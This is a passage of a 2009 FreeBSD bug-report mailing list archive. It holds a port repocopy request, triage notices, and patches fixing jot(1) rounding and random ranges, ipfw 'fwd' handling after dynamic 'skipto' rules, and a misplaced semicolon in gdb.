From owner-freebsd-bugs@FreeBSD.ORG Sun Jul 12 02:20:02 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E8C6F1065676 for ; Sun, 12 Jul 2009 02:20:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id AB14E8FC1D for ; Sun, 12 Jul 2009 02:20:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6C2K22j041784 for ; Sun, 12 Jul 2009 02:20:02 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6C2K2lH041783; Sun, 12 Jul 2009 02:20:02 GMT (envelope-from gnats) Resent-Date: Sun, 12 Jul 2009 02:20:02 GMT Resent-Message-Id: <200907120220.n6C2K2lH041783@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, NAKATA Maho Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4254B106566C for ; Sun, 12 Jul 2009 02:17:21 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id EF4FC8FC19 for ; Sun, 12 Jul 2009 02:17:20 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6C2HKrV052182 for ; Sun, 12 Jul 2009 02:17:20 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6C2HKbf052181; Sun, 12 Jul 2009 02:17:20 GMT (envelope-from nobody) Message-Id: <200907120217.n6C2HKbf052181@www.freebsd.org> Date: Sun, 12 Jul 2009 02:17:20 GMT From: NAKATA Maho To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: misc/136674: [repocopy request] ports/editors/openoffice.org-2-devel -> ports/editors/openoffice.org-vcltesttool X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Jul 2009 02:20:03 -0000 >Number: 136674 >Category: misc >Synopsis: [repocopy request] ports/editors/openoffice.org-2-devel -> ports/editors/openoffice.org-vcltesttool >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sun Jul 12 02:20:02 UTC 2009 >Closed-Date: >Last-Modified: >Originator: NAKATA Maho >Release: 7.2-RELEASE >Organization: FreeBSD.org >Environment: FreeBSD debussy7i386.private.org 7.2-RELEASE FreeBSD 7.2-RELEASE #0: Wed May 6 16:39:29 JST 2009 maho@debussy7i386.private.org:/usr/src/sys/i386/compile/GENERIC i386 >Description: Please repocopy ports/editors/openoffice.org-2-devel to ports/editors/openoffice.org-vcltesttool The reason is: I'd like to add VCLTestTool for OpenOffice.org. This tool performs automated tests for OpenOffice.org. VCLtesttool should be from very old OpenOffice.org; SRC680_m226; openoffice.org-2-devel port (I committed at 2007/8/26). Therefore, repocopy is the natual way to remove openoffice.org-2-devel port and alive again as openoffice.org-vcltesttool port. >How-To-Repeat: >Fix: >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Sun Jul 12 05:32:49 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 0C1C91065670; Sun, 12 Jul 2009 05:32:49 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id D49868FC16; Sun, 12 Jul 2009 05:32:48 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6C5WmLo000413; Sun, 12 Jul 2009 05:32:48 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6C5WmjB000407; Sun, 12 Jul 2009 05:32:48 GMT (envelope-from linimon) Date: Sun, 12 Jul 2009 05:32:48 GMT Message-Id: <200907120532.n6C5WmjB000407@freefall.freebsd.org> To: cesium2@gmail.com, linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: kern/136670: [patch] setmode() should always set errno on error X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Jul 2009 05:32:49 -0000 Synopsis: [patch] setmode() should always set errno on error State-Changed-From-To: open->closed State-Changed-By: linimon State-Changed-When: Sun Jul 12 05:32:19 UTC 2009 State-Changed-Why: Duplicate of kern/136669. http://www.freebsd.org/cgi/query-pr.cgi?pr=136670 From owner-freebsd-bugs@FreeBSD.ORG Sun Jul 12 05:34:58 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2F266106566B; Sun, 12 Jul 2009 05:34:58 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 03F248FC0C; Sun, 12 Jul 2009 05:34:58 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6C5Yvr9001112; Sun, 12 Jul 2009 05:34:57 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6C5Yvfv001108; Sun, 12 Jul 2009 05:34:57 GMT (envelope-from linimon) Date: Sun, 12 Jul 2009 05:34:57 GMT Message-Id: <200907120534.n6C5Yvfv001108@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, portmgr@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: ports/136674: [repocopy request] ports/editors/openoffice.org-2-devel -> ports/editors/openoffice.org-vcltesttool X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Jul 2009 05:34:58 -0000 Synopsis: [repocopy request] ports/editors/openoffice.org-2-devel -> ports/editors/openoffice.org-vcltesttool Responsible-Changed-From-To: freebsd-bugs->portmgr Responsible-Changed-By: linimon Responsible-Changed-When: Sun Jul 12 05:34:43 UTC 2009 Responsible-Changed-Why: ports PR. http://www.freebsd.org/cgi/query-pr.cgi?pr=136674 From owner-freebsd-bugs@FreeBSD.ORG Sun Jul 12 12:57:48 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id AFEA81065678; Sun, 12 Jul 2009 12:57:48 +0000 (UTC) (envelope-from gavin@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 84F8B8FC1B; Sun, 12 Jul 2009 12:57:48 +0000 (UTC) (envelope-from gavin@FreeBSD.org) Received: from freefall.freebsd.org (gavin@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6CCvmwx078119; Sun, 12 Jul 2009 12:57:48 GMT (envelope-from gavin@freefall.freebsd.org) Received: (from gavin@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6CCvm1Q078115; Sun, 12 Jul 2009 12:57:48 GMT (envelope-from gavin) Date: Sun, 12 Jul 2009 12:57:48 GMT Message-Id: <200907121257.n6CCvm1Q078115@freefall.freebsd.org> To: gavin@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-firewire@FreeBSD.org From: gavin@FreeBSD.org Cc: Subject: Re: kern/136652: Firewire-attached "WD My Book 1028" does not mount at boot but is OK if connected after boot. X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Jul 2009 12:57:49 -0000 Synopsis: Firewire-attached "WD My Book 1028" does not mount at boot but is OK if connected after boot. Responsible-Changed-From-To: freebsd-bugs->freebsd-firewire Responsible-Changed-By: gavin Responsible-Changed-When: Sun Jul 12 12:57:03 UTC 2009 Responsible-Changed-Why: Over to maintainer(s) http://www.freebsd.org/cgi/query-pr.cgi?pr=136652 From owner-freebsd-bugs@FreeBSD.ORG Sun Jul 12 14:40:04 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2749A106564A for ; Sun, 12 Jul 2009 14:40:04 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 135EC8FC15 for ; Sun, 12 Jul 2009 14:40:04 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6CEe3N3054826 for ; Sun, 12 Jul 2009 14:40:03 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6CEe361054825; Sun, 12 Jul 2009 14:40:03 GMT (envelope-from gnats) Date: Sun, 12 Jul 2009 14:40:03 GMT Message-Id: <200907121440.n6CEe361054825@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org From: Ulrich =?utf-8?B?U3DDtnJsZWlu?= Cc: Subject: Re: bin/123635: jot handles 'stuttering sequences' and reversed ranges incorrectly X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Ulrich =?utf-8?B?U3DDtnJsZWlu?= List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Jul 2009 14:40:04 -0000 The following reply was made to PR bin/123635; it has been noted by GNATS. From: Ulrich =?utf-8?B?U3DDtnJsZWlu?= To: Elias Pipping Cc: bug-followup@FreeBSD.org, brian@FreeBSD.org Subject: Re: bin/123635: jot handles 'stuttering sequences' and reversed ranges incorrectly Date: Sun, 12 Jul 2009 16:31:29 +0200 --EVF5PPMfhYS0aIcm Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Tue, 13.05.2008 at 18:14:48 +0000, Elias Pipping wrote: > The manpage suggests: > > The stuttering sequence 9, 9, 8, 8, 7, etc. can be produced by > suitable choice of step size, as in > jot - 9 0 -.5 > > This is what happens: > > $ jot - 9 0 -.5 | awk -f pp.awk > 2 3 4 5 6 7 8 9 0 1 > 3 1 3 1 3 1 3 1 2 1 True, this is because jot(1)'s default output format is "%.0f" and the sequence 9.0, 8.5, 8.0, 7.5, etc is rounded "weird". This is no bug in jot(1) however, but has to do with floating point precision. To work around this, you can pass -w %d which forces different kind of rounding. % jot -w %d - 9 0 -.5 | awk -f pp.awk 2 3 4 5 6 7 8 9 0 1 2 2 2 2 2 2 2 1 2 2 > Furthermore, while this works: > > $ jot -r 10000 0 9 | awk -f pp.awk > 2 3 4 5 6 7 8 9 0 1 > 999 977 1008 972 989 1007 1006 1053 1032 957 > > This should produce basically the same results, but it does not: > > $ jot -r 10000 9 0 | awk -f pp.awk > 9 10 11 12 13 14 15 16 > 1237 1233 1271 1210 1247 1260 1262 1280 This is indeed a bug. Please see the attached patch, which fixes this: % jot -r 10000 9 0 | awk -f pp.awk 2 3 4 5 6 7 8 9 0 1 1021 974 979 1002 975 1030 1019 990 997 1013 % jot -r 10000 0 9 | awk -f pp.awk 2 3 4 5 6 7 8 9 0 1 1013 974 978 996 990 970 1034 988 1036 1021 The patch does the following: - fix -r mode when begin>ender (the scale x then shall be negative!) - allow forcing precision to 0 like NetBSD/OpenBSD do - steal man-page section "Rounding and truncation" from OpenBSD - fix "stuttering sequence" example in manpage - add regression tests --EVF5PPMfhYS0aIcm Content-Type: text/x-diff; charset=us-ascii Content-Disposition: attachment; filename="jot.diff" Index: usr.bin/jot/jot.1 =================================================================== --- usr.bin/jot/jot.1 (revision 195633) +++ usr.bin/jot/jot.1 (working copy) @@ -32,7 +32,7 @@ .\" @(#)jot.1 8.1 (Berkeley) 6/6/93 .\" $FreeBSD$ .\" -.Dd November 6, 2006 +.Dd July 12, 2009 .Dt JOT 1 .Os .Sh NAME @@ -167,6 +167,86 @@ derives in part from .Nm iota , a function in APL. +.Ss Rounding and truncation +The +.Nm +utility uses double precision floating point arithmetic internally. +Before printing a number, it is converted depending on the output +format used. +.Pp +If no output format is specified or the output format is a +floating point format +.Po +.Sq E , +.Sq G , +.Sq e , +.Sq f , +or +.Sq g +.Pc , +the value is rounded using the +.Xr printf 3 +function, taking into account the requested precision. +.Pp +If the output format is an integer format +.Po +.Sq D , +.Sq O , +.Sq U , +.Sq X , +.Sq c , +.Sq d , +.Sq i , +.Sq o , +.Sq u , +or +.Sq x +.Pc , +the value is converted to an integer value by truncation. +.Pp +As an illustration, consider the following command: +.Bd -literal -offset indent +$ jot 6 1 10 0.5 +1 +2 +2 +2 +3 +4 +.Ed +.Pp +By requesting an explicit precision of 1, the values generated before rounding +can be seen. +The .5 values are rounded down if the integer part is even, +up otherwise. +.Bd -literal -offset indent +$ jot -p 1 6 1 10 0.5 +1.0 +1.5 +2.0 +2.5 +3.0 +3.5 +.Ed +.Pp +By offsetting the values slightly, the values generated by the following +command are always rounded down: +.Bd -literal -offset indent +$ jot -p 0 6 .9999999999 10 0.5 +1 +1 +2 +2 +3 +3 +.Ed +.Pp +Another way of achieving the same result is to force truncation by +specifying an integer format: +.Bd -literal -offset indent +$ jot -w %d 6 1 10 0.5 +.Ed +.Pp .Sh EXIT STATUS .Ex -std .Sh EXAMPLES @@ -201,9 +281,9 @@ .Dl jot -w %ds/old/new/ 30 2 - 5 .Pp The stuttering sequence 9, 9, 8, 8, 7, etc.\& can be -produced by suitable choice of step size, +produced by truncating the output precision and a suitable choice of step size, as in -.Dl jot - 9 0 -.5 +.Dl jot -w %d - 9.5 0 -.5 .Pp and a file containing exactly 1024 bytes is created with .Dl jot -b x 512 > block Index: usr.bin/jot/jot.c =================================================================== --- usr.bin/jot/jot.c (revision 195633) +++ usr.bin/jot/jot.c (working copy) @@ -77,7 +77,7 @@ #define is_default(s) (*(s) == 0 || strcmp((s), "-") == 0) static bool boring; -static int prec; +static int prec = -1; static bool longdata; static bool intdata; static bool chardata; @@ -128,7 +128,7 @@ break; case 'p': prec = atoi(optarg); - if (prec <= 0) + if (prec < 0) errx(1, "bad precision value"); have_format = true; break; @@ -159,7 +159,7 @@ if (!sscanf(argv[2], "%lf", &ender)) ender = argv[2][strlen(argv[2])-1]; mask |= HAVE_ENDER; - if (!prec) + if (prec < 0) n = getprec(argv[2]); } /* FALLTHROUGH */ @@ -168,7 +168,7 @@ if (!sscanf(argv[1], "%lf", &begin)) begin = argv[1][strlen(argv[1])-1]; mask |= HAVE_BEGIN; - if (!prec) + if (prec < 0) prec = getprec(argv[1]); if (n > prec) /* maximum precision */ prec = n; @@ -188,6 +188,10 @@ argv[4]); } getformat(); + + if (prec == -1) + prec = 0; + while (mask) /* 4 bit mask has 1's where last 4 args were given */ switch (mask) { /* fill in the 0's by default or computation */ case HAVE_STEP: @@ -284,13 +288,16 @@ if (!have_format && prec == 0 && begin >= 0 && begin < divisor && ender >= 0 && ender < divisor) { - ender += 1; + if (begin <= ender) + ender += 1; + else + begin += 1; nosign = true; intdata = true; (void)strlcpy(format, chardata ? "%c" : "%u", sizeof(format)); } - x = (ender - begin) * (ender > begin ? 1 : -1); + x = ender - begin; for (i = 1; i <= reps || infinity; i++) { if (use_random) y = random() / divisor; Index: tools/regression/usr.bin/jot/regress.sh =================================================================== --- tools/regression/usr.bin/jot/regress.sh (revision 195633) +++ tools/regression/usr.bin/jot/regress.sh (working copy) @@ -1,6 +1,6 @@ # $FreeBSD$ -echo 1..57 +echo 1..60 REGRESSION_START($1) @@ -32,12 +32,15 @@ REGRESSION_TEST(`dhhh2', `jot - 20 160 2') REGRESSION_TEST(`dhhd2', `jot - 20 160 -') REGRESSION_TEST(`ddhh2', `jot - - 160 2') +REGRESSION_TEST(`rand1', `jot -r 10000 0 9 | sort -u') +REGRESSION_TEST(`rand2', `jot -r 10000 9 0 | sort -u') REGRESSION_TEST(`n21', `jot 21 -1 1.00') REGRESSION_TEST(`ascii', `jot -c 128 0') REGRESSION_TEST(`xaa', `jot -w xa%c 26 a') REGRESSION_TEST(`yes', `jot -b yes 10') REGRESSION_TEST(`ed', `jot -w %ds/old/new/ 30 2 - 5') REGRESSION_TEST(`stutter', `jot - 9 0 -.5') +REGRESSION_TEST(`stutter2', `jot -w %d - 9.5 0 -.5') REGRESSION_TEST(`block', `jot -b x 512') REGRESSION_TEST(`tabs', `jot -s, - 10 132 4') REGRESSION_TEST(`grep', `jot -s "" -b . 80') Index: tools/regression/usr.bin/jot/regress.rand1.out =================================================================== --- tools/regression/usr.bin/jot/regress.rand1.out (revision 0) +++ tools/regression/usr.bin/jot/regress.rand1.out (revision 0) @@ -0,0 +1,10 @@ +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 Index: tools/regression/usr.bin/jot/regress.rand2.out =================================================================== --- tools/regression/usr.bin/jot/regress.rand2.out (revision 0) +++ tools/regression/usr.bin/jot/regress.rand2.out (revision 0) @@ -0,0 +1,10 @@ +0 +1 +2 +3 +4 +5 +6 +7 +8 +9 Index: tools/regression/usr.bin/jot/regress.stutter2.out =================================================================== --- tools/regression/usr.bin/jot/regress.stutter2.out (revision 0) +++ tools/regression/usr.bin/jot/regress.stutter2.out (revision 0) @@ -0,0 +1,20 @@ +9 +9 +8 +8 +7 +7 +6 +6 +5 +5 +4 +4 +3 +3 +2 +2 +1 +1 +0 +0 --EVF5PPMfhYS0aIcm-- From owner-freebsd-bugs@FreeBSD.ORG Sun Jul 12 16:30:02 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 040D21065672 for ; Sun, 12 Jul 2009 16:30:02 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id D287B8FC18 for ; Sun, 12 Jul 2009 16:30:01 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6CGU1Hf035904 for ; Sun, 12 Jul 2009 16:30:01 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6CGU1he035903; Sun, 12 Jul 2009 16:30:01 GMT (envelope-from gnats) Resent-Date: Sun, 12 Jul 2009 16:30:01 GMT Resent-Message-Id: <200907121630.n6CGU1he035903@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Nicolas Rachinsky Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id C0B9F106566C for ; Sun, 12 Jul 2009 16:27:18 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 9393A8FC17 for ; Sun, 12 Jul 2009 16:27:18 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6CGRItH092357 for ; Sun, 12 Jul 2009 16:27:18 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6CGRIiR092356; Sun, 12 Jul 2009 16:27:18 GMT (envelope-from nobody) Message-Id: <200907121627.n6CGRIiR092356@www.freebsd.org> Date: Sun, 12 Jul 2009 16:27:18 GMT From: Nicolas Rachinsky To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: kern/136695: fwd reached after skipto in dynamic rules does not work in every case [PATCH] X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 12 Jul 2009 16:30:02 -0000 >Number: 136695 >Category: kern >Synopsis: fwd reached after skipto in dynamic rules does not work in every case [PATCH] >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Jul 12 16:30:01 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Nicolas Rachinsky >Release: FreeBSD 6.4-p5 (does probably apply to 8) >Organization: >Environment: FreeBSD somehost 6.4-RELEASE-p5 FreeBSD 6.4-RELEASE-p5 #4: Sun Jul 12 18:03:33 CEST 2009 somebody:/usr/exported/src/sys/i386/compile/PC5 i386 >Description: I have an pptp-tunnel with an static IP. I want to use this for incoming and outgoing services together with keep-state. So instead of allow I use "skipto 4040", where the rules following 4040 decide wether to forward the packet via pptp or use the normal uplink. 04040 fwd ip from to any out 04050 allow ip from any to any Now I want incoming smtp on both the normal uplink and via pptp, so I have the rule: skipto 4040 tcp from me to any dst-port 25 out setup keep-state This does not work, the fwd rule is just an accept rule for the packets returned by my machine. fwd is ignored after an dynamic rule matched in the "reverse" direction. I think, fwd should work even after a dynamic rule matched in the reverse direction, when the action of the dynamic rule is a skipto. The attached patch changes this behaviour. The current code looks quite similar. >How-To-Repeat: see above >Fix: apply the attached patch Patch attached with submission follows: Index: ip_fw2.c =================================================================== RCS file: /usr/cvs-freebsd/src/sys/netinet/Attic/ip_fw2.c,v retrieving revision 1.106.2.41.2.1 diff -u -r1.106.2.41.2.1 ip_fw2.c --- ip_fw2.c 2 Oct 2008 02:57:24 -0000 1.106.2.41.2.1 +++ ip_fw2.c 12 Jul 2009 16:15:37 -0000 @@ -2215,9 +2215,14 @@ /* * dyn_dir = MATCH_UNKNOWN when rules unchecked, * MATCH_NONE when checked and not matched (q = NULL), - * MATCH_FORWARD or MATCH_REVERSE otherwise (q != NULL) + MATCH_FORWARD or MATCH_REVERSE otherwise (q != NULL) */ int dyn_dir = MATCH_UNKNOWN; + /* + * skip_after_dyn set to 1 if the action of + a dynamic rule is skipto + */ + int skip_after_dyn = 0; ipfw_dyn_rule *q = NULL; struct ip_fw_chain *chain = &layer3_chain; struct m_tag *mtag; @@ -3255,6 +3260,8 @@ if (f->next_rule == NULL) lookup_next_rule(f); f = f->next_rule; + if ( dyn_dir != MATCH_UNKNOWN && dyn_dir != MATCH_NONE) + skip_after_dyn = 1; goto again; case O_REJECT: @@ -3295,7 +3302,7 @@ sa = &(((ipfw_insn_sa *)cmd)->sa); if (args->eh) /* not valid on layer2 pkts */ break; - if (!q || dyn_dir == MATCH_FORWARD) { + if (!q || dyn_dir == MATCH_FORWARD || skip_after_dyn) { if (sa->sin_addr.s_addr == INADDR_ANY) { bcopy(sa, &args->hopstore, sizeof(*sa)); >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 06:30:01 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D584F106566B for ; Mon, 13 Jul 2009 06:30:01 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 9604C8FC0A for ; Mon, 13 Jul 2009 06:30:01 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6D6U1L5086601 for ; Mon, 13 Jul 2009 06:30:01 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6D6U15D086600; Mon, 13 Jul 2009 06:30:01 GMT (envelope-from gnats) Resent-Date: Mon, 13 Jul 2009 06:30:01 GMT Resent-Message-Id: <200907130630.n6D6U15D086600@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Henning Petersen Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9EFB7106566C for ; Mon, 13 Jul 2009 06:24:21 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 8CE1B8FC13 for ; Mon, 13 Jul 2009 06:24:21 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6D6OLIi062119 for ; Mon, 13 Jul 2009 06:24:21 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6D6OK0b062110; Mon, 13 Jul 2009 06:24:20 GMT (envelope-from nobody) Message-Id: <200907130624.n6D6OK0b062110@www.freebsd.org> Date: Mon, 13 Jul 2009 06:24:20 GMT From: Henning Petersen To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: gnu/136705: remove a semicolon from i386-tdep.c . X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 13 Jul 2009 06:30:02 -0000 >Number: 136705 >Category: gnu >Synopsis: remove a semicolon from i386-tdep.c . >Confidential: no >Severity: serious >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Mon Jul 13 06:30:01 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Henning Petersen >Release: current-Freebsd >Organization: >Environment: >Description: remove a semicolon at the end of an if statement. Recieved from OpenBSD. >How-To-Repeat: >Fix: --- ./contrib/gdb/gdb/i386-tdep.c 20 Jun 2004 19:47:25 -0000 1.4 +++ ./contrib/gdb/gdb/i386-tdep.c 13 Jul 2009 05:33:29 -0000 @@ -735,7 +735,7 @@ /* addl y,%ebx */ if (delta > 0 && op == 0x81 - && read_memory_unsigned_integer (pc + delta + 1, 1) == 0xc3); + && read_memory_unsigned_integer (pc + delta + 1, 1) == 0xc3) { pc += delta + 6; } >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Mon Jul 13 11:08:51 2009 Return-Path: Delivered-To: freebsd-bugs@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4FDB510656B0 for ; Mon, 13 Jul 2009 11:08:51 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 3821F8FC14 for ; Mon, 13 Jul 2009 11:08:51 +0000 (UTC) (envelope-from owner-bugmaster@FreeBSD.org) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6DB8pij042674 for ; Mon, 13 Jul 2009 11:08:51 GMT (envelope-from owner-bugmaster@FreeBSD.org) Received: 